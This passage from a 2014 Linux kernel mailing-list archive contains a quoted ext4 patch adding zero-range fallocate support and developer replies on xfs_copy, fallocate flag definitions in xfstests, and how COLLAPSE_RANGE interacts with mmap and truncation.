long)map->m_lblk, map->m_len); > #endif > - err = ext4_split_unwritten_extents(handle, inode, map, path, > - EXT4_GET_BLOCKS_CONVERT); > + err = ext4_split_convert_extents(handle, inode, map, path, > + EXT4_GET_BLOCKS_CONVERT); > if (err < 0) > goto out; > ext4_ext_drop_refs(path); > @@ -3850,6 +3911,42 @@ get_reserved_cluster_alloc(struct inode *inode, ext4_lblk_t lblk_start, > } > > static int > +ext4_ext_convert_initialized_extent(handle_t *handle, struct inode *inode, > + struct ext4_map_blocks *map, > + struct ext4_ext_path *path, int flags, > + unsigned int allocated, ext4_fsblk_t newblock) > +{ > + int ret = 0; > + int err = 0; > + > + /* > + * Make sure that the extent is no bigger than we support with > + * uninitialized extent > + */ > + if (map->m_len > EXT_UNINIT_MAX_LEN) > + map->m_len = EXT_UNINIT_MAX_LEN / 2; Pardon my possible dumb question. Why do you use "EXT_UNINIT_MAX_LEN / 2;" here instead of "EXT_UNINIT_MAX_LEN" I don't see the reason why we can't use EXT_UNINIT_MAX_LEN here. Thanks! Jon > + > + ret = ext4_convert_initialized_extents(handle, inode, map, > + path); > + if (ret >= 0) { > + ext4_update_inode_fsync_trans(handle, inode, 1); > + err = check_eofblocks_fl(handle, inode, map->m_lblk, > + path, map->m_len); > + } else > + err = ret; > + map->m_flags |= EXT4_MAP_UNWRITTEN; > + if (allocated > map->m_len) > + allocated = map->m_len; > + map->m_len = allocated; > + > + if (path) { > + ext4_ext_drop_refs(path); > + kfree(path); > + } > + return err ? err : allocated; > +} > + > +static int > ext4_ext_handle_uninitialized_extents(handle_t *handle, struct inode *inode, > struct ext4_map_blocks *map, > struct ext4_ext_path *path, int flags, > @@ -3876,8 +3973,8 @@ ext4_ext_handle_uninitialized_extents(handle_t *handle, struct inode *inode, > > /* get_block() before submit the IO, split the extent */ > if ((flags & EXT4_GET_BLOCKS_PRE_IO)) { > - ret = ext4_split_unwritten_extents(handle, inode, map, > - path, flags); > + ret = ext4_split_convert_extents(handle, inode, map, > + path, flags | EXT4_GET_BLOCKS_CONVERT); > if (ret <= 0) > goto out; > /* > @@ -4168,6 +4265,7 @@ int ext4_ext_map_blocks(handle_t *handle, struct inode *inode, > ext4_fsblk_t ee_start = ext4_ext_pblock(ex); > unsigned short ee_len; > > + > /* > * Uninitialized extents are treated as holes, except that > * we split out initialized portions during a write. > @@ -4184,7 +4282,17 @@ int ext4_ext_map_blocks(handle_t *handle, struct inode *inode, > ext_debug("%u fit into %u:%d -> %llu\n", map->m_lblk, > ee_block, ee_len, newblock); > > - if (!ext4_ext_is_uninitialized(ex)) > + /* > + * If the extent is initialized check whether the > + * caller wants to convert it to unwritten. > + */ > + if ((!ext4_ext_is_uninitialized(ex)) && > + (flags & EXT4_GET_BLOCKS_CONVERT_UNWRITTEN)) { > + allocated = ext4_ext_convert_initialized_extent( > + handle, inode, map, path, flags, > + allocated, newblock); > + goto out3; > + } else if (!ext4_ext_is_uninitialized(ex)) > goto out; > > allocated = ext4_ext_handle_uninitialized_extents( > @@ -4570,6 +4678,136 @@ retry: > return ret > 0 ? ret2 : ret; > } > > +static long ext4_zero_range(struct file *file, loff_t offset, > + loff_t len, int mode) > +{ > + struct inode *inode = file_inode(file); > + handle_t *handle = NULL; > + unsigned int max_blocks; > + loff_t new_size = 0; > + int ret = 0; > + int flags; > + int partial; > + loff_t start, end; > + ext4_lblk_t lblk; > + struct address_space *mapping = inode->i_mapping; > + unsigned int blkbits = inode->i_blkbits; > + > + trace_ext4_zero_range(inode, offset, len, mode); > + > + /* > + * Write out all dirty pages to avoid race conditions > + * Then release them. > + */ > + if (mapping->nrpages && mapping_tagged(mapping, PAGECACHE_TAG_DIRTY)) { > + ret = filemap_write_and_wait_range(mapping, offset, > + offset + len - 1); > + if (ret) > + return ret; > + } > + > + /* > + * Round up offset. This is not fallocate, we neet to zero out > + * blocks, so convert interior block aligned part of the range to > + * unwritten and possibly manually zero out unaligned parts of the > + * range. > + */ > + start = round_up(offset, 1 << blkbits); > + end = round_down((offset + len), 1 << blkbits); > + > + if (start < offset || end > offset + len) > + return -EINVAL; > + partial = (offset + len) & ((1 << blkbits) - 1); > + > + lblk = start >> blkbits; > + max_blocks = (end >> blkbits); > + if (max_blocks < lblk) > + max_blocks = 0; > + else > + max_blocks -= lblk; > + > + flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT | > + EXT4_GET_BLOCKS_CONVERT_UNWRITTEN; > + if (mode & FALLOC_FL_KEEP_SIZE) > + flags |= EXT4_GET_BLOCKS_KEEP_SIZE; > + > + mutex_lock(&inode->i_mutex); > + > + /* > + * Indirect files do not support unwritten extnets > + */ > + if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) { > + ret = -EOPNOTSUPP; > + goto out_mutex; > + } > + > + if (!(mode & FALLOC_FL_KEEP_SIZE) && > + offset + len > i_size_read(inode)) { > + new_size = offset + len; > + ret = inode_newsize_ok(inode, new_size); > + if (ret) > + goto out_mutex; > + /* > + * If we have a partial block after EOF we have to allocate > + * the entire block. > + */ > + if (partial) > + max_blocks += 1; > + } > + > + if (max_blocks > 0) { > + > + /* Now release the pages and zero block aligned part of pages*/ > + truncate_pagecache_range(inode, start, end - 1); > + > + /* Wait all existing dio workers, newcomers will block on i_mutex */ > + ext4_inode_block_unlocked_dio(inode); > + inode_dio_wait(inode); > + > + /* > + * Remove entire range from the extent status tree. > + */ > + ret = ext4_es_remove_extent(inode, lblk, max_blocks); > + if (ret) > + goto out_dio; > + > + ret = ext4_alloc_file_blocks(file, lblk, max_blocks, flags, > + mode); > + if (ret) > + goto out_dio; > + } > + > + handle = ext4_journal_start(inode, EXT4_HT_MISC, 4); > + if (IS_ERR(handle)) { > + ret = PTR_ERR(handle); > + ext4_std_error(inode->i_sb, ret); > + goto out_dio; > + } > + > + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); > + > + if (!ret && new_size) { > + if (new_size > i_size_read(inode)) > + i_size_write(inode, new_size); > + if (new_size > EXT4_I(inode)->i_disksize) > + ext4_update_i_disksize(inode, new_size); > + } > + ext4_mark_inode_dirty(handle, inode); > + > + /* Zero out partial block at the edges of the range */ > + ret = ext4_zero_partial_blocks(handle, inode, offset, len); > + > + if (file->f_flags & O_SYNC) > + ext4_handle_sync(handle); > + > + ext4_journal_stop(handle); > +out_dio: > + ext4_inode_resume_unlocked_dio(inode); > +out_mutex: > + mutex_unlock(&inode->i_mutex); > + return ret; > +} > + > /* > * preallocate space for a file. This implements ext4's fallocate file > * operation, which gets called from sys_fallocate system call. > @@ -4590,7 +4828,8 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > unsigned int blkbits = inode->i_blkbits; > > /* Return error if mode is not supported */ > - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) > + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | > + FALLOC_FL_ZERO_RANGE)) > return -EOPNOTSUPP; > > if (mode & FALLOC_FL_PUNCH_HOLE) > @@ -4607,6 +4846,9 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) > return -EOPNOTSUPP; > > + if (mode & FALLOC_FL_ZERO_RANGE) > + return ext4_zero_range(file, offset, len, mode); > + > trace_ext4_fallocate_enter(inode, offset, len, mode); > lblk = offset >> blkbits; > /* > diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c > index 6e39895..e64807f 100644 > --- a/fs/ext4/inode.c > +++ b/fs/ext4/inode.c > @@ -503,6 +503,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, > { > struct extent_status es; > int retval; > + int ret = 0; > #ifdef ES_AGGRESSIVE_TEST > struct ext4_map_blocks orig_map; > > @@ -552,7 +553,6 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, > EXT4_GET_BLOCKS_KEEP_SIZE); > } > if (retval > 0) { > - int ret; > unsigned int status; > > if (unlikely(retval != map->m_len)) { > @@ -579,7 +579,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, > > found: > if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) { > - int ret = check_block_validity(inode, map); > + ret = check_block_validity(inode, map); > if (ret != 0) > return ret; > } > @@ -596,7 +596,13 @@ found: > * with buffer head unmapped. > */ > if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) > - return retval; > + /* > + * If we need to convert extent to unwritten > + * we continue and do the actual work in > + * ext4_ext_map_blocks() > + */ > + if (!(flags & EXT4_GET_BLOCKS_CONVERT_UNWRITTEN)) > + return retval; > > /* > * Here we clear m_flags because after allocating an new extent, > @@ -652,7 +658,6 @@ found: > ext4_clear_inode_state(inode, EXT4_STATE_DELALLOC_RESERVED); > > if (retval > 0) { > - int ret; > unsigned int status; > > if (unlikely(retval != map->m_len)) { > @@ -687,7 +692,7 @@ found: > has_zeroout: > up_write((&EXT4_I(inode)->i_data_sem)); > if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) { > - int ret = check_block_validity(inode, map); > + ret = check_block_validity(inode, map); > if (ret != 0) > return ret; > } > @@ -3501,7 +3506,7 @@ int ext4_punch_hole(struct inode *inode, loff_t offset, loff_t length) > if (!S_ISREG(inode->i_mode)) > return -EOPNOTSUPP; > > - trace_ext4_punch_hole(inode, offset, length); > + trace_ext4_punch_hole(inode, offset, length, 0); > > /* > * Write out all dirty pages to avoid race conditions > diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h > index 451e020..7bb26aa 100644 > --- a/include/trace/events/ext4.h > +++ b/include/trace/events/ext4.h > @@ -71,7 +71,8 @@ struct extent_status; > #define show_falloc_mode(mode) __print_flags(mode, "|", \ > { FALLOC_FL_KEEP_SIZE, "KEEP_SIZE"}, \ > { FALLOC_FL_PUNCH_HOLE, "PUNCH_HOLE"}, \ > - { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}) > + { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}, \ > + { FALLOC_FL_ZERO_RANGE, "ZERO_RANGE"}) > > > TRACE_EVENT(ext4_free_inode, > @@ -1333,7 +1334,7 @@ TRACE_EVENT(ext4_direct_IO_exit, > __entry->rw, __entry->ret) > ); > > -TRACE_EVENT(ext4_fallocate_enter, > +DECLARE_EVENT_CLASS(ext4__fallocate_mode, > TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), > > TP_ARGS(inode, offset, len, mode), > @@ -1341,23 +1342,45 @@ TRACE_EVENT(ext4_fallocate_enter, > TP_STRUCT__entry( > __field( dev_t, dev ) > __field( ino_t, ino ) > - __field( loff_t, pos ) > - __field( loff_t, len ) > + __field( loff_t, offset ) > + __field( loff_t, len ) > __field( int, mode ) > ), > > TP_fast_assign( > __entry->dev = inode->i_sb->s_dev; > __entry->ino = inode->i_ino; > - __entry->pos = offset; > + __entry->offset = offset; > __entry->len = len; > __entry->mode = mode; > ), > > - TP_printk("dev %d,%d ino %lu pos %lld len %lld mode %s", > + TP_printk("dev %d,%d ino %lu offset %lld len %lld mode %s", > MAJOR(__entry->dev), MINOR(__entry->dev), > - (unsigned long) __entry->ino, __entry->pos, > - __entry->len, show_falloc_mode(__entry->mode)) > + (unsigned long) __entry->ino, > + __entry->offset, __entry->len, > + show_falloc_mode(__entry->mode)) > +); > + > +DEFINE_EVENT(ext4__fallocate_mode, ext4_fallocate_enter, > + > + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), > + > + TP_ARGS(inode, offset, len, mode) > +); > + > +DEFINE_EVENT(ext4__fallocate_mode, ext4_punch_hole, > + > + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), > + > + TP_ARGS(inode, offset, len, mode) > +); > + > +DEFINE_EVENT(ext4__fallocate_mode, ext4_zero_range, > + > + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), > + > + TP_ARGS(inode, offset, len, mode) > ); > > TRACE_EVENT(ext4_fallocate_exit, > @@ -1389,31 +1412,6 @@ TRACE_EVENT(ext4_fallocate_exit, > __entry->ret) > ); > > -TRACE_EVENT(ext4_punch_hole, > - TP_PROTO(struct inode *inode, loff_t offset, loff_t len), > - > - TP_ARGS(inode, offset, len), > - > - TP_STRUCT__entry( > - __field( dev_t, dev ) > - __field( ino_t, ino ) > - __field( loff_t, offset ) > - __field( loff_t, len ) > - ), > - > - TP_fast_assign( > - __entry->dev = inode->i_sb->s_dev; > - __entry->ino = inode->i_ino; > - __entry->offset = offset; > - __entry->len = len; > - ), > - > - TP_printk("dev %d,%d ino %lu offset %lld len %lld", > - MAJOR(__entry->dev), MINOR(__entry->dev), > - (unsigned long) __entry->ino, > - __entry->offset, __entry->len) > -); > - > TRACE_EVENT(ext4_unlink_enter, > TP_PROTO(struct inode *parent, struct dentry *dentry), > > -- > 1.8.3.1 > > -- > To unsubscribe from this list: send the line "unsubscribe linux-ext4" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From david@fromorbit.com Wed Feb 26 00:02:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 511177F37 for ; Wed, 26 Feb 2014 00:02:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 34ED3304089 for ; Tue, 25 Feb 2014 22:02:32 -0800 (PST) X-ASG-Debug-ID: 1393394549-04cbb066e54aab0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id l1iJbL0BSfnFhfxG for ; Tue, 25 Feb 2014 22:02:30 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjNNAO+CDVN5LJYePGdsb2JhbABZgwaDQ4UMs3KFVoEYFwMBAQEBODWCJQEBBTocIxAIAw4KCSUPBSUDBxoTiATIShcWjjoHhDgEmDWKU4sXKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 16:32:29 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIXZa-0003Yn-Mk; Wed, 26 Feb 2014 17:02:26 +1100 Date: Wed, 26 Feb 2014 17:02:26 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs_copy: accept XFS_ABTB_CRC_MAGIC Message-ID: <20140226060226.GS13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_copy: accept XFS_ABTB_CRC_MAGIC References: <530D4B68.9090905@redhat.com> <20140226020737.GA21877@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140226020737.GA21877@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393394549 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145521 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 06:07:37PM -0800, Christoph Hellwig wrote: > On Tue, Feb 25, 2014 at 08:03:20PM -0600, Eric Sandeen wrote: > > xfs_copy needs a fair bit of work for CRCs because it rewrites > > UUIDs by default, but this change will get it working properly > > with the "-d" (duplicate) option which keeps the same UUID. > > I don't think ASSERTs for user supplied data are a good idea, this > should be some real error handling. > > > However, I wonder if we should fail CRC filesystems outright > > for now if -d isn't specified, because it will invalidate every > > CRC and generally make a mess of things... > > Yeah, for now it probably should be rejected. > > It would also be useful to have a list of such issues in an README.v5 > or TODO.v5 file in the xfsprogs tree. Well, I thought we had just about got everything except for the remaining repair cleanups and the logprint failure in xfs/295 up until Eric mentioned UUIDs and xfs_copy/xfs_admin yesterday on IIRC. I can't think of anything else that is needs to be finished for a userspace release - I think that covers all the remaining xfstests failures I'm seeing on crc enabled filesystems.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 26 00:07:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B256B7F37 for ; Wed, 26 Feb 2014 00:07:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9041E304075 for ; Tue, 25 Feb 2014 22:07:38 -0800 (PST) X-ASG-Debug-ID: 1393394856-04cbb066e74ad40001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Y3fdGfns61MNmT8U for ; Tue, 25 Feb 2014 22:07:36 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgN5AEeEDVN5LJYePGdsb2JhbABZgwY7gwiFDKBqA5MFhVaBGBcDAQEBATg1giUBAQQBOhwjBQsIAw4KCSUPBSUDBxoTh30HyEwXFo46B4Q4BJg1gTOUNyg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 16:37:35 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIXeX-0003ZW-Gm; Wed, 26 Feb 2014 17:07:33 +1100 Date: Wed, 26 Feb 2014 17:07:33 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Lukas Czerner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: [PATCH 5/6] xfstests: Define fallocate flags locally in fsx Message-ID: <20140226060733.GT13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfstests: Define fallocate flags locally in fsx References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-5-git-send-email-lczerner@redhat.com> <20140225203922.GC13647@dastard> <20140225215616.GA29752@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225215616.GA29752@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393394856 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145521 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 01:56:16PM -0800, Christoph Hellwig wrote: > On Wed, Feb 26, 2014 at 07:39:22AM +1100, Dave Chinner wrote: > > > index b3c30db..331257e 100644 > > > --- a/ltp/fsx.c > > > +++ b/ltp/fsx.c > > > @@ -35,8 +35,13 @@ > > > #endif > > > #ifdef FALLOCATE > > > #include > > > +#ifndef FALLOC_FL_PUNCH_HOLE > > > +#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ > > > +#endif > > > +#ifndef FALLOC_FL_ZERO_RANGE > > > +#define FALLOC_FL_ZERO_RANGE 0x10 /* zeroes range */ > > > +#endif > > > #endif > > > > This pattern is appearing all over the place in xfstests now. I'd > > suggest that this should really be handled by autoconf, > > include/config.h and src/globals.h.... > > Can we handle this nicely using autoconf, especially in the case of O_ > flags that might be different for different architectures? I think so, because config.h is generated from config.h.in and ends up looking like: #define HAVE_SOME_FUNCTION 1 src/globals.h is controlled directly by us, and ends up looking like: #ifdef HAVE_SOME_FUNCTION #include #endif If we add all the defines that may be missing that same ifdef section, and make sure that all code includes globals.h, then all the code will have the "HAVE_SOME_FUNCTION" defines and the appropriate header files and definitions included. > Either way having a single header for the various flags that might not > be present in the system headers sounds like a good plan. *nod* Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 26 00:42:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CF97A7F37 for ; Wed, 26 Feb 2014 00:42:35 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8AD78AC008 for ; Tue, 25 Feb 2014 22:42:32 -0800 (PST) X-ASG-Debug-ID: 1393396949-04bdf05daa4d380001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id h1oqFOfhcswZST2B for ; Tue, 25 Feb 2014 22:42:29 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjVNAHaMDVN5LJYePGdsb2JhbABZgwaDQ4UMs3KFVoEYFwMBAQEBODWCJQEBBAE6HCMFCwgDGAklDwUlAwcaExmHZAfIWRcWjU5sB4Q4BIxmi0+HRoMNiUWBUiiBNQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 17:12:27 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIYCG-0003cv-JJ; Wed, 26 Feb 2014 17:42:24 +1100 Date: Wed, 26 Feb 2014 17:42:24 +1100 From: Dave Chinner To: Hugh Dickins Cc: Namjae Jeon , Andrew Morton , Matthew Wilcox , Theodore Ts'o , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140226064224.GU13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> <20140226011347.GL13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393396949 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145522 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 08:45:15PM -0800, Hugh Dickins wrote: > On Wed, 26 Feb 2014, Dave Chinner wrote: > > On Tue, Feb 25, 2014 at 03:23:35PM -0800, Hugh Dickins wrote: > > > Of course I'm interested in the possibility of extending it to tmpfs; > > > which may not be a worthwhile exercise in itself, except that it would > > > force us to face and solve any pagecache/radixtree issues, if possible, > > > thereby enhancing the support for disk-based filesystems. > > > > > > I doubt we should look into that before Jan Kara's range locking mods > > > arrive, or are rejected. As I understand it, you're going ahead with > > > this, knowing that there can be awkward races with concurrent faults - > > > more likely to cause trinity fuzzer reports, than interfere with daily > > > usage (trinity seems to be good at faulting into holes being punched). > > > > Yes, the caveat is that the applications that use it (TVs, DVRs, NLE > > applications, etc) typically don't use mmap for accessing the data > > stream being modified. Further, it's much less generally useful than > > holepunching, so when these two are combined, the likely exposure to > > issues resulting from mmap deficiencies are pretty damn low. > > Agreed, but we do want to define how the interaction behaves, we want > it to be the same across all filesystems supporting COLLAPSE_RANGE, > and we don't want it to lead to system crashes or corruptions. We have defined it. It's just a data manipulation operation that moves file data from one offset to another. How a filesystem implements that is a filesystem's problem, not a problem with the API. ext4 and XFS implement it by removing all cached data and mappings over the range from memory and then mainpulating extent status. Other fileystems might be able to do similar things, or we might just do an internal kernel read/write loop. And there's nothing ruling out a hardware ior nework protocol copy offload being used to implement an optimised data copy, either. tmpfs is different in that it's only data store is the page cache, so it needs to operate within the constraints of the page cache. moving pages inside the page cache might be a new operation for tmpfs, but it's not an operation that is needed by filesystems to implement this file data manipulation. > > > That's probably the right pragmatic decision; but I'm a little worried > > > that it's justfied by saying we already have such races in hole-punch. > > > Collapse is significantly more challenging than either hole-punch or > > > truncation: the shifting of pages from one offset to another is new, > > > and might present nastier bugs. > > > > Symptoms might be different, but it's exactly the same problem. i.e. > > mmap_sem locking inversions preventing the filesystem from > > serialising IO path operations like hole punch, truncate and other > > extent manipulation operations against concurrent page faults > > that enter the IO path. > > That may (may) be true of the current kick-everything-out-of-pagecache > approach. But in general I stand by "Collapse is significantly more > challenging". Forgive me if that amounts to saying "Hey, here's a > more complicated way to do it. Ooh, this way is more complicated." > The concept of moving a page from one file offset to another is new, > and can be expected to pose new difficulties. Collapse might be challenging for tmpfs, but it's relatively trivial for block based filesystems because we have an independent backing store and so we don't need to move cached data around. > > > Emphasis on "might": I expect it's impossible, given your current > > > approach, but something to be on guard against is unmap_mapping_range() > > > failing to find and unmap a pte, because the page is mapped at the > > > "wrong" place in the vma, resulting in BUG_ON(page_mapped(page)) > > > in __delete_from_page_cache(). > > > > Unmapping occurs before anything is shifted. And even if a fault > > does occur before the file size changes at the end of a collapse > > range operation (via the truncate path), the page in the page cache > > won't be moved about so I don't see how the above problem could > > occur. All that will happen is that you get the wrong data in the > > mmap()d page, just like you will with hole_punch issues. > > I think you're probably right. I expect that attempting to fault > a page back from disk while collapse is shifting down, will hit a > mutex and wait. But that's liable to differ from filesystem to > filesystem, so I'm not certain. Well, no, we can't do that entirely atomically because of mmap_sem inversions. Individual extent shifts, yes, but not against the operation as a whole. i.e. fallocate needs to serialise against IO operations, but we can't serialise Io operations against page faults because of mmap_sem inversions.... > > > But your case is different: collapse is much closer to truncation, > > > and if you do not unmap the private COW'ed pages, then pages left > > > behind beyond the EOF will break the spec that requires SIGBUS when > > > touching there, and pages within EOF will be confusingly derived > > > from file data now belonging to another offset or none (move these > > > pages within the user address space? no, I don't think anon_vmas > > > would allow that, and there may be no right place to move them). > > > > See above - we never leave pages beyond the new EOF because setting > > the new EOF is a truncate operation that calls > > truncate_setsize(inode, newsize). > > Right, thanks, I now see the truncate_setsize() in the xfs case - > though not in the ext4 case, which looks as if it's just doing an > i_size_write() afterwards. So that's a bug in the ext4 code ;) > Yes, truncate_setsize() at the end should answer my SIGBUS objection. > And with that out of the way, although I don't particularly care for > the weirdness of private COW'ed pages becoming associated with file > offsets they never originated from, I don't think I could argue with > you when you tell me "well, that's the weirdness you get from mixing > COLLAPSE_RANGE with MAP_PRIVATE mmaps". > > Looks like there's no need for the __truncate_pagecache_range() with > even_cows arg that I was advocating: we just need ext4 to truncate > properly at the end, and document the disassociated private pages. *nod* > > > It's clear that the right and easy thing to do is just to unmap > > > them (all of them, from critical offset to EOF), in the rare case > > > of there being any such pages. Whether this detail needs to be > > > mentioned in the man page (I don't like throwing away a user's > > > data without warning) I'm not sure, Michael can judge. > > > > > > FALLOC_FL_COLLAPSE_RANGE: I'm a little sad at the name COLLAPSE, > > > but probably seven months too late to object. It surprises me that > > > you're doing all this work to deflate a part of the file, without > > > the obvious complementary work to inflate it - presumably all those > > > advertisers whose ads you're cutting out, will come back to us soon > > > to ask for inflation, so that they have somewhere to reinsert them ;) > > > > The name makes no difference to me - it's a filesystem offload > > function of a very specific nature. If we require the opposite > > behaviour - inserting unwritten extents after shifting the data up > > 